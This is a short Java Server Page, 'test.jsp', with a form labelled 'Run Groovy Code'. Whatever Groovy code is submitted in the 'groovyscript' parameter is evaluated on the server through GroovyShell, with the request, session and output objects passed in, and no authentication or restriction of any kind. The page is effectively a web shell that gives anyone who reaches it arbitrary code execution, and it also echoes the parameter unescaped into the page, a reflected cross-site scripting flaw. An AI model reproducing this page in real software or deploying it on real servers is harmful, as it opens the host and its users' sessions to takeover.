<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="groovy.lang.GroovyShell" %>
<%@ page import="groovy.lang.Binding" %>

<%
    String groovyscript = request.getParameter("groovyscript");
    if(null == groovyscript) {
        groovyscript = "";
    }
%>

<html>
<body>
<form method="post" action="test.jsp" name="groovyform">
    <p>Run Groovy Code</p>
    <textarea rows="5" cols="50" name="groovyscript"><%=groovyscript%></textarea>
    <input type="submit" name="submitbutton"/>
</form>

<p><%
    Binding binding = new Binding();
    binding.setVariable("request", request);
    binding.setVariable("session", session);
    binding.setVariable("out", out);

    GroovyShell shell = new GroovyShell(binding);
    try {
        shell.evaluate(groovyscript);
    } catch(Exception e) {
        out.print("Error running groovycode: " + e.getMessage());
    }
%></p>

</body>
</html>
